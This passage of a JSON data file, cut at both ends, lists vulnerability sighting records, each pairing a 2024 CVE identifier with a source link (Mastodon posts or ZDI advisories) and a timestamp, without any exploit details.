"https://infosec.exchange/users/cve/statuses/113452959557478408", "content": "", "creation_timestamp": "2024-11-09T12:19:39.131045Z"}, {"uuid": "dfb4310d-f1cd-414e-8baf-2d90f1067082", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50246", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452959571701829", "content": "", "creation_timestamp": "2024-11-09T12:19:39.447139Z"}, {"uuid": "e143a50c-4fcb-4ffa-9c2e-6494aa5b7e33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50247", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113452959586502535", "content": "", "creation_timestamp": "2024-11-09T12:19:39.789206Z"}, {"uuid": "77bd73f0-91c9-407c-a608-e276160ba972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50248", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453018586811452", "content": "", "creation_timestamp": "2024-11-09T12:34:39.566062Z"}, {"uuid": "f42c61fe-91fc-495d-98ff-0bf9e9a80ba9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50249", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453018600648277", "content": "", "creation_timestamp": "2024-11-09T12:34:39.827019Z"}, {"uuid": "a2049913-3a57-4056-baa1-b7097288b5d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50250", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453018614318747", "content": "", "creation_timestamp": "2024-11-09T12:34:40.043136Z"}, {"uuid": "994f3514-53a6-43ed-97e0-bb5ae79df62a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50251", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453018647695403", "content": "", "creation_timestamp": "2024-11-09T12:34:40.444673Z"}, {"uuid": "2b25b1cf-ed72-4514-a1a8-84fe0726065b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50252", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453077645644429", "content": "", "creation_timestamp": "2024-11-09T12:49:40.808713Z"}, {"uuid": "6ed96b56-7f3a-46b7-9ac8-edcf969fbb72", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50253", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453077661194194", "content": "", "creation_timestamp": "2024-11-09T12:49:41.106130Z"}, {"uuid": "52a7c5e2-e7d0-4383-8e0c-1fe35f21abe1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50254", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453077695714662", "content": "", "creation_timestamp": "2024-11-09T12:49:41.432679Z"}, {"uuid": "03e4584a-ee53-41b0-bc1c-f8d02bb136e5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50260", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453195751436908", "content": "", "creation_timestamp": "2024-11-09T13:19:42.925997Z"}, {"uuid": "d2647881-148d-4514-b10e-0f145b59081e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50261", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453195765546881", "content": "", "creation_timestamp": "2024-11-09T13:19:43.200526Z"}, {"uuid": "be331186-1f8d-4fe7-9c7e-1bac58668584", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50255", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453077709726251", "content": "", "creation_timestamp": "2024-11-09T12:49:42.020183Z"}, {"uuid": "bb7695ee-3f23-41f1-9a08-777392de620f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50319", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470743512602200", "content": "", "creation_timestamp": "2024-11-12T15:42:20.562614Z"}, {"uuid": "a1b769e9-99c6-4668-af3d-b4c55cfd33ad", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50320", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470743528491570", "content": "", "creation_timestamp": "2024-11-12T15:42:20.647886Z"}, {"uuid": "5847f3ce-05fb-4c0f-b6f9-3f84a01bbaa6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50321", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113470743544005384", "content": "", "creation_timestamp": "2024-11-12T15:42:20.920296Z"}, {"uuid": "d46a61df-87c5-4470-8fb9-93375b1e1b96", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50257", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453136723760485", "content": "", "creation_timestamp": "2024-11-09T13:04:42.622869Z"}, {"uuid": "94367ef7-ee1a-4b2e-b4c6-9ae42c22c31d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50256", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453136709352729", "content": "", "creation_timestamp": "2024-11-09T13:04:42.668705Z"}, {"uuid": "78ff17be-0085-47cb-b9fd-d7cc1803bc83", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50258", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453136737483869", "content": "", "creation_timestamp": "2024-11-09T13:04:42.700433Z"}, {"uuid": "2f1e85ad-96db-4aab-bff6-06f872084106", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50259", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453136752678083", "content": "", "creation_timestamp": "2024-11-09T13:04:42.900233Z"}, {"uuid": "af2ea76d-cb98-4afd-9bf3-99ef41702daa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50262", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113453195778902777", "content": "", "creation_timestamp": "2024-11-09T13:19:43.456281Z"}, {"uuid": "19c9d5a8-0728-4052-897b-76115eaf4705", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50262", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113457685824245449", "content": "", "creation_timestamp": "2024-11-10T08:21:35.917316Z"}, {"uuid": "55b4e07a-ddd8-4799-a693-6edd9543917f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50217", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113457742729180129", "content": "", "creation_timestamp": "2024-11-10T08:36:04.231298Z"}, {"uuid": "9c9ffd44-893c-4609-ba41-952243da67c0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50263", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464690446915585", "content": "", "creation_timestamp": "2024-11-11T14:02:58.104492Z"}, {"uuid": "9ba0bde6-120a-449c-a0d3-0c730f44a194", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50991", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464883430652480", "content": "", "creation_timestamp": "2024-11-11T14:52:02.707096Z"}, {"uuid": "8359cffd-1755-4a3e-ac95-beaf5b8a2db7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50636", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113466768148978841", "content": "", "creation_timestamp": "2024-11-11T22:51:21.242588Z"}, {"uuid": "9e5077d7-d46d-4d34-a24f-bbecc4fb20bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50989", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464913774418226", "content": "", "creation_timestamp": "2024-11-11T14:59:45.707273Z"}, {"uuid": "c3f25058-ba9b-4448-bac9-387482e47340", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50990", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113464853434820659", "content": "", "creation_timestamp": "2024-11-11T14:44:25.046885Z"}, {"uuid": "7971ca36-240e-499a-a17e-31fc4eee7df0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50667", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113465902330198506", "content": "", "creation_timestamp": "2024-11-11T19:11:09.866729Z"}, {"uuid": "7260d036-35b4-496a-b734-3d96d9d53a0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50601", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113466798217194790", "content": "", "creation_timestamp": "2024-11-11T22:59:00.296737Z"}, {"uuid": "9033d3f6-c3c1-490b-b824-f7afc24af4ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50514", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510655140914375", "content": "", "creation_timestamp": "2024-11-19T16:52:23.649052Z"}, {"uuid": "6f02d293-0e1e-46f9-a035-8501d72f1303", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50517", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510714194112694", "content": "", "creation_timestamp": "2024-11-19T17:07:25.044031Z"}, {"uuid": "c435a883-62a7-4bbd-a6c0-e2f16580c91c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50518", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510714208795924", "content": "", "creation_timestamp": "2024-11-19T17:07:25.085758Z"}, {"uuid": "7be1903f-e18e-4cd3-be36-0f20998c8fe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50803", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510488189404602", "content": "", "creation_timestamp": "2024-11-19T16:09:56.385538Z"}, {"uuid": "7fa067be-ff40-4817-8f2a-119c18261072", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50852", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476241379522105", "content": "", "creation_timestamp": "2024-11-13T15:00:31.209621Z"}, {"uuid": "691a6415-81f8-4bb8-8847-5004355ebe80", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50853", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476241396090050", "content": "", "creation_timestamp": "2024-11-13T15:00:31.602552Z"}, {"uuid": "c384bba3-7fe2-48ad-9439-03f90a51cdd9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50854", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476241410873305", "content": "", "creation_timestamp": "2024-11-13T15:00:32.334018Z"}, {"uuid": "1cc7eb1a-9eea-4e6c-8007-9f6582843a6a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50971", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476406320814841", "content": "", "creation_timestamp": "2024-11-13T15:42:28.132100Z"}, {"uuid": "af03a36d-73c7-4811-ad9b-e041caa9ea38", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50972", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113476406335318693", "content": "", "creation_timestamp": "2024-11-13T15:42:28.453136Z"}, {"uuid": "0ab3bace-421d-4ac3-8b62-1bff58e763d7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50549", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511009459807311", "content": "", "creation_timestamp": "2024-11-19T18:22:30.174974Z"}, {"uuid": "2080e021-eb9c-45dd-b617-b4d4cbc3924e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50417", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510655113198375", "content": "", "creation_timestamp": "2024-11-19T16:52:23.373362Z"}, {"uuid": "8fdfe832-ba0d-47de-9219-6c20ed78cdd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50513", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510655127120561", "content": "", "creation_timestamp": "2024-11-19T16:52:23.453632Z"}, {"uuid": "cbcefdba-b93f-408a-9d8f-dae322548ad4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50533", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510832262943961", "content": "", "creation_timestamp": "2024-11-19T17:37:26.294681Z"}, {"uuid": "2c0dd867-ccb9-4057-bd57-2fc6a29e242e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50536", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510832305886086", "content": "", "creation_timestamp": "2024-11-19T17:37:26.850700Z"}, {"uuid": "07e795fa-9099-40bb-b9e8-26db3d4a15f3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50545", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510950393617008", "content": "", "creation_timestamp": "2024-11-19T18:07:28.976571Z"}, {"uuid": "8211cbf2-faed-498d-9723-14d7e6a9b95b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50546", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510950407133009", "content": "", "creation_timestamp": "2024-11-19T18:07:29.055408Z"}, {"uuid": "7ed8f2f1-e639-4269-926f-0e2587687a8a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50537", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510891304864419", "content": "", "creation_timestamp": "2024-11-19T17:52:27.244470Z"}, {"uuid": "9ff4600b-2e8b-47a9-90d4-243fbfb18534", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50515", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510655154439782", "content": "", "creation_timestamp": "2024-11-19T16:52:23.929955Z"}, {"uuid": "cdb0ebea-8a03-472c-886f-e9ee1d1d876b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50516", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510714179641574", "content": "", "creation_timestamp": "2024-11-19T17:07:24.484876Z"}, {"uuid": "500ea773-b9e1-49e8-b1a9-ce2e045d2a79", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50519", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510714222745081", "content": "", "creation_timestamp": "2024-11-19T17:07:25.270217Z"}, {"uuid": "b98906c8-bd6a-46f4-be89-fa1f227a7260", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50520", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510773222031429", "content": "", "creation_timestamp": "2024-11-19T17:22:25.336303Z"}, {"uuid": "7f8eedce-06a0-48d1-8012-28ebb7c71cf0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50521", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510773235792998", "content": "", "creation_timestamp": "2024-11-19T17:22:25.673884Z"}, {"uuid": "63643d5b-4960-45eb-953d-e3f0fc79385e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50522", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510773250474851", "content": "", "creation_timestamp": "2024-11-19T17:22:25.802956Z"}, {"uuid": "18570ef7-d553-408c-9f53-37a8d05627e6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50532", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510773264141154", "content": "", "creation_timestamp": "2024-11-19T17:22:26.310119Z"}, {"uuid": "c044adcc-d950-4e28-8703-2509e5ccd353", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50291", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/113510811046461147", "content": "", "creation_timestamp": "2024-11-19T17:32:02.474367Z"}, {"uuid": "a403f2ea-519e-4b02-8c38-1e61b47c4ebd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50534", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510832277088018", "content": "", "creation_timestamp": "2024-11-19T17:37:26.448619Z"}, {"uuid": "e8fe8216-945c-4371-a655-81ea9e22d493", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50547", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511009427412815", "content": "", "creation_timestamp": "2024-11-19T18:22:29.617500Z"}, {"uuid": "7710c99c-9f5a-455c-9382-21f8ba9457ca", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50548", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511009443074942", "content": "", "creation_timestamp": "2024-11-19T18:22:29.896825Z"}, {"uuid": "b6996def-75fc-4a9a-8578-9d13d8321e67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50551", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113511009478669999", "content": "", "creation_timestamp": "2024-11-19T18:22:30.439316Z"}, {"uuid": "d9bc3c54-c5df-4ea1-b227-119d5e8af568", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50535", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510832290748724", "content": "", "creation_timestamp": "2024-11-19T17:37:26.696519Z"}, {"uuid": "591028bb-f9ca-4acc-a837-141d44165e65", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-5082", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113479113854160730", "content": "", "creation_timestamp": "2024-11-14T03:11:01.758495Z"}, {"uuid": "28693b1a-f921-4f64-80c7-f43bec163c8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50330", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1510/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "58f53ebd-0c94-407d-96b7-4fc96ce9c419", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50329", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1509/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "14a9c3dc-4e2f-4fab-9da2-898d821255f4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50328", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1508/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "e20c736a-1b19-4e0b-8a1b-dfe3956c73d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50327", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1507/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "3a4b5f9a-7f8f-4b94-b1cd-125739faa6a4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50326", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1506/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "a622c6cf-1c21-4e91-8757-99431ee2ca61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50324", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1505/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "8ce78bc4-cdcf-4581-ab9e-895b7cb94a6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50322", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1503/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "427da4c7-89ef-4ddd-8650-5998cd76224d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50319", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1490/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "4801b779-7f5d-4074-9713-f9218bc07ee8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50317", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1488/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "99d38831-b502-47a5-8de8-97bbcf7bd53a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50321", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1492/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "1af96efd-faae-4065-b66d-063defcdb32c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50320", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1491/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "f7adfd87-1340-4797-8755-141e5320d68d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50318", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1489/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "c439338d-3fca-412b-b08f-ab54d389ac37", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50538", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113510891338423727", "content": "", "creation_timestamp": "2024-11-19T17:52:27.709103Z"}, {"uuid": "cb337d16-35d2-43dd-bc88-8694536eeca8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50323", "type": "seen", "source": "http://www.zerodayinitiative.com/advisories/ZDI-24-1504/", "content": "", "creation_timestamp": "2024-11-13T06:00:00.000000Z"}, {"uuid": "e048fb34-1c2d-4ae7-ab42-4abdf2da236a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "cve-2024-50330", "type": "seen", "source": "https://infosec.exchange/users/patchnow24x7/statuses/113479841836620242", "content": "", "creation_timestamp": "2024-11-14T06:16:10.565073Z"}, {"uuid": "d7931024-7f36-4d15-bcee-a316e56b616f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-50835", "type": "seen", "source": "https://infosec.exchange/users/cve/statuses/113482288052389768", "content": "", "creation_timestamp": "2024-11-14T16:38:16.283695Z"}, {"uuid": "7917cd3f-4a6f-4744-b110-c02347f0990f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": 